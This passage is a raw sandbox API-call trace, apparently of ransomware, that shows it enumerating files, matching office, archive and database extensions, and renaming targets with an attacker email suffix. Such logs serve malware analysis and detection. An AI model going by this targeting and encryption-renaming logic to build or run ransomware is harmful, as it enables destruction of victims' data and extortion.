dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.084] CloseHandle (hObject=0x11c8) returned 1 [0285.084] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.084] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.084] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\images\\edit_pdf_poster.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\ob-preview\\images\\edit_pdf_poster.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.085] CloseHandle (hObject=0x11c8) returned 1 [0285.591] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.591] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.591] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\images\\edit_pdf_poster2x.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\ob-preview\\images\\edit_pdf_poster2x.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.591] CloseHandle (hObject=0x1088) returned 1 [0285.592] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706838 | out: hHeap=0x630000) returned 1 [0285.592] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6cdc70 | out: hHeap=0x630000) returned 1 [0285.592] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x31d0048 | out: hHeap=0x630000) returned 1 [0285.592] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x31e0050 | out: hHeap=0x630000) returned 1 [0285.595] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x32d5020 | out: hHeap=0x630000) returned 1 [0285.597] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7065c8 | out: hHeap=0x630000) returned 1 [0285.597] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x32b9d00 [0285.597] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x32b9d00, Size=0x20) returned 0x3f64640 [0285.597] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x32b9e68 [0285.597] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x32b9e68, Size=0x20) returned 0x3f646e0 [0285.597] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0285.598] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0285.598] Wow64DisableWow64FsRedirection (in: OldValue=0x279ff50 | out: OldValue=0x279ff50*=0x1) returned 1 [0285.598] lstrlenW (lpString="kernel32.dll") returned 12 [0285.598] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f646e0 | out: hHeap=0x630000) returned 1 [0285.598] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0285.598] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f64640 | out: hHeap=0x630000) returned 1 Thread: id = 2566 os_tid = 0x26c4 [0241.179] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10000) returned 0x31f0058 [0241.180] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10000) returned 0x3200060 [0241.180] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x7065e0 [0241.181] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6) returned 0x6cdc80 [0241.181] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x7065f8 [0241.181] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x100000) returned 0x33e5020 [0241.202] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x706628 [0241.202] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x706628, Size=0x20) returned 0x6e4018 [0241.202] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x7067a8 [0241.202] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7067a8, Size=0x20) returned 0x6e4220 [0241.202] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0241.203] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0241.203] Wow64DisableWow64FsRedirection (in: OldValue=0x28dff50 | out: OldValue=0x28dff50*=0x0) returned 1 [0241.203] lstrlenW (lpString="kernel32.dll") returned 12 [0241.203] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e4018 | out: hHeap=0x630000) returned 1 [0241.203] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0241.203] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e4220 | out: hHeap=0x630000) returned 1 [0241.203] Sleep (dwMilliseconds=0x64) [0241.544] Sleep (dwMilliseconds=0x64) [0241.817] lstrcmpiW (lpString1=".ini", lpString2=".com") returned 1 [0241.817] lstrlenW (lpString="desktop.ini") returned 11 [0241.817] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1094 [0241.818] GetFileSizeEx (in: hFile=0x1094, lpFileSize=0x28dff14 | out: lpFileSize=0x28dff14*=129) returned 1 [0241.818] CloseHandle (hObject=0x1094) returned 1 [0241.818] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26 [0241.818] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[bitcharity@protonmail.com].com")) returned 0x26 [0241.819] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0241.819] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0241.819] lstrlenW (lpString=".doc") returned 4 [0241.819] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0241.819] lstrlenW (lpString=".docx") returned 5 [0241.819] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0241.819] lstrlenW (lpString=".pdf") returned 4 [0241.819] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0241.819] lstrlenW (lpString=".xls") returned 4 [0241.819] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0241.820] lstrlenW (lpString=".xlsx") returned 5 [0241.820] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0241.820] lstrlenW (lpString=".ppt") returned 4 [0241.820] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0241.820] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0241.820] lstrlenW (lpString=".zip") returned 4 [0241.820] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0241.820] lstrlenW (lpString=".rar") returned 4 [0241.820] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0241.820] lstrlenW (lpString=".bz2") returned 4 [0241.820] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0241.820] lstrlenW (lpString=".7z") returned 3 [0241.820] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0241.820] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0241.820] lstrlenW (lpString=".dbf") returned 4 [0241.820] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0241.820] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0241.820] lstrlenW (lpString=".1cd") returned 4 [0241.820] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0241.820] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0241.820] lstrlenW (lpString=".jpg") returned 4 [0241.820] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0241.821] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0241.821] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0241.821] lstrlenW (lpString=".doc") returned 4 [0241.821] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0241.821] lstrlenW (lpString=".docx") returned 5 [0241.821] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0241.821] lstrlenW (lpString=".pdf") returned 4 [0241.821] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0241.821] lstrlenW (lpString=".xls") returned 4 [0241.821] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0241.821] lstrlenW (lpString=".xlsx") returned 5 [0241.821] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0241.821] lstrlenW (lpString=".ppt") returned 4 [0241.821] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0241.821] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0241.821] lstrlenW (lpString=".zip") returned 4 [0241.821] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0241.821] lstrlenW (lpString=".rar") returned 4 [0241.821] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0241.822] lstrlenW (lpString=".bz2") returned 4 [0241.822] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0241.822] lstrlenW (lpString=".7z") returned 3 [0241.822] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0241.822] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0241.822] lstrlenW (lpString=".dbf") returned 4 [0241.822] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0241.822] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0241.822] lstrlenW (lpString=".1cd") returned 4 [0241.822] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0241.822] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0241.822] lstrlenW (lpString=".jpg") returned 4 [0241.822] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0241.822] Sleep (dwMilliseconds=0x64) [0242.224] Sleep (dwMilliseconds=0x64) [0242.569] Sleep (dwMilliseconds=0x64) [0242.844] Sleep (dwMilliseconds=0x64) [0243.161] lstrcmpiW (lpString1=".LOG", lpString2=".com") returned 1 [0243.161] lstrlenW (lpString="BCD.LOG") returned 7 [0243.161] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.168] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0243.168] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0243.168] lstrlenW (lpString=".doc") returned 4 [0243.168] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0243.168] lstrlenW (lpString=".docx") returned 5 [0243.168] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0243.168] lstrlenW (lpString=".pdf") returned 4 [0243.168] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0243.168] lstrlenW (lpString=".xls") returned 4 [0243.168] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0243.168] lstrlenW (lpString=".xlsx") returned 5 [0243.168] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0243.168] lstrlenW (lpString=".ppt") returned 4 [0243.168] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0243.168] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0243.168] lstrlenW (lpString=".zip") returned 4 [0243.168] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0243.168] lstrlenW (lpString=".rar") returned 4 [0243.168] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0243.168] lstrlenW (lpString=".bz2") returned 4 [0243.168] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0243.168] lstrlenW (lpString=".7z") returned 3 [0243.168] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0243.168] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0243.169] lstrlenW (lpString=".dbf") returned 4 [0243.169] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0243.169] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0243.169] lstrlenW (lpString=".1cd") returned 4 [0243.169] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0243.169] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0243.169] lstrlenW (lpString=".jpg") returned 4 [0243.169] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0243.169] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0243.169] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0243.169] lstrlenW (lpString=".doc") returned 4 [0243.169] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0243.169] lstrlenW (lpString=".docx") returned 5 [0243.169] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0243.169] lstrlenW (lpString=".pdf") returned 4 [0243.169] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0243.169] lstrlenW (lpString=".xls") returned 4 [0243.169] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0243.169] lstrlenW (lpString=".xlsx") returned 5 [0243.169] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0243.169] lstrlenW (lpString=".ppt") returned 4 [0243.169] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0243.169] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0243.169] lstrlenW (lpString=".zip") returned 4 [0243.169] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0243.169] lstrlenW (lpString=".rar") returned 4 [0243.169] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0243.169] lstrlenW (lpString=".bz2") returned 4 [0243.169] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0243.169] lstrlenW (lpString=".7z") returned 3 [0243.170] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0243.170] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0243.170] lstrlenW (lpString=".dbf") returned 4 [0243.170] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0243.170] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0243.170] lstrlenW (lpString=".1cd") returned 4 [0243.170] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0243.170] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0243.170] lstrlenW (lpString=".jpg") returned 4 [0243.170] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0243.170] Sleep (dwMilliseconds=0x64) [0243.592] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0243.592] lstrlenW (lpString="kor-kor.xml") returned 11 [0243.592] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1168 [0243.925] GetFileSizeEx (in: hFile=0x1168, lpFileSize=0x28dff14 | out: lpFileSize=0x28dff14*=392) returned 1 [0243.925] CloseHandle (hObject=0x1168) returned 1 [0243.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0243.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0243.925] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0243.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0243.926] lstrlenW (lpString=".doc") returned 4 [0243.926] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0243.926] lstrlenW (lpString=".docx") returned 5 [0243.926] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0243.926] lstrlenW (lpString=".pdf") returned 4 [0243.926] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0243.926] lstrlenW (lpString=".xls") returned 4 [0243.926] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0243.926] lstrlenW (lpString=".xlsx") returned 5 [0243.926] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0243.926] lstrlenW (lpString=".ppt") returned 4 [0243.926] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0243.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0243.926] lstrlenW (lpString=".zip") returned 4 [0243.926] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0243.926] lstrlenW (lpString=".rar") returned 4 [0243.926] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0243.926] lstrlenW (lpString=".bz2") returned 4 [0243.926] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0243.926] lstrlenW (lpString=".7z") returned 3 [0243.926] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0243.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0243.927] lstrlenW (lpString=".dbf") returned 4 [0243.927] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0243.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0243.927] lstrlenW (lpString=".1cd") returned 4 [0243.927] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0243.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0243.927] lstrlenW (lpString=".jpg") returned 4 [0243.927] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0243.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0243.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0243.927] lstrlenW (lpString=".doc") returned 4 [0243.927] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0243.927] lstrlenW (lpString=".docx") returned 5 [0243.927] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0243.927] lstrlenW (lpString=".pdf") returned 4 [0243.927] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0243.927] lstrlenW (lpString=".xls") returned 4 [0243.927] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0243.927] lstrlenW (lpString=".xlsx") returned 5 [0243.927] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0243.927] lstrlenW (lpString=".ppt") returned 4 [0243.927] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0243.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0243.927] lstrlenW (lpString=".zip") returned 4 [0243.928] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0243.928] lstrlenW (lpString=".rar") returned 4 [0243.928] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0243.928] lstrlenW (lpString=".bz2") returned 4 [0243.928] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0243.928] lstrlenW (lpString=".7z") returned 3 [0243.928] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0243.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0243.928] lstrlenW (lpString=".dbf") returned 4 [0243.928] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0243.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0243.928] lstrlenW (lpString=".1cd") returned 4 [0243.928] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0243.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0243.928] lstrlenW (lpString=".jpg") returned 4 [0243.928] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0243.928] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0243.928] lstrlenW (lpString="ipsdan.xml") returned 10 [0243.928] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1168 [0243.975] GetFileSizeEx (in: hFile=0x1168, lpFileSize=0x28dff14 | out: lpFileSize=0x28dff14*=2514) returned 1 [0243.975] CloseHandle (hObject=0x1168) returned 1 [0243.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20 [0243.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0243.975] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0243.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0243.975] lstrlenW (lpString=".doc") returned 4 [0243.975] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0243.975] lstrlenW (lpString=".docx") returned 5 [0243.976] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0243.976] lstrlenW (lpString=".pdf") returned 4 [0243.976] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0243.976] lstrlenW (lpString=".xls") returned 4 [0243.976] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0243.976] lstrlenW (lpString=".xlsx") returned 5 [0243.976] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0243.976] lstrlenW (lpString=".ppt") returned 4 [0243.976] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0243.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0243.976] lstrlenW (lpString=".zip") returned 4 [0243.976] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0243.976] lstrlenW (lpString=".rar") returned 4 [0243.976] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0243.976] lstrlenW (lpString=".bz2") returned 4 [0243.976] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0243.976] lstrlenW (lpString=".7z") returned 3 [0243.976] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0243.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0243.976] lstrlenW (lpString=".dbf") returned 4 [0243.976] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0243.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0243.976] lstrlenW (lpString=".1cd") returned 4 [0243.976] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0243.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0243.976] lstrlenW (lpString=".jpg") returned 4 [0243.976] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0243.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0243.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0243.977] lstrlenW (lpString=".doc") returned 4 [0243.977] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0243.977] lstrlenW (lpString=".docx") returned 5 [0243.977] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0243.977] lstrlenW (lpString=".pdf") returned 4 [0243.977] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0243.977] lstrlenW (lpString=".xls") returned 4 [0243.977] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0243.977] lstrlenW (lpString=".xlsx") returned 5 [0243.977] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0243.977] lstrlenW (lpString=".ppt") returned 4 [0243.977] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0243.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0243.977] lstrlenW (lpString=".zip") returned 4 [0243.977] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 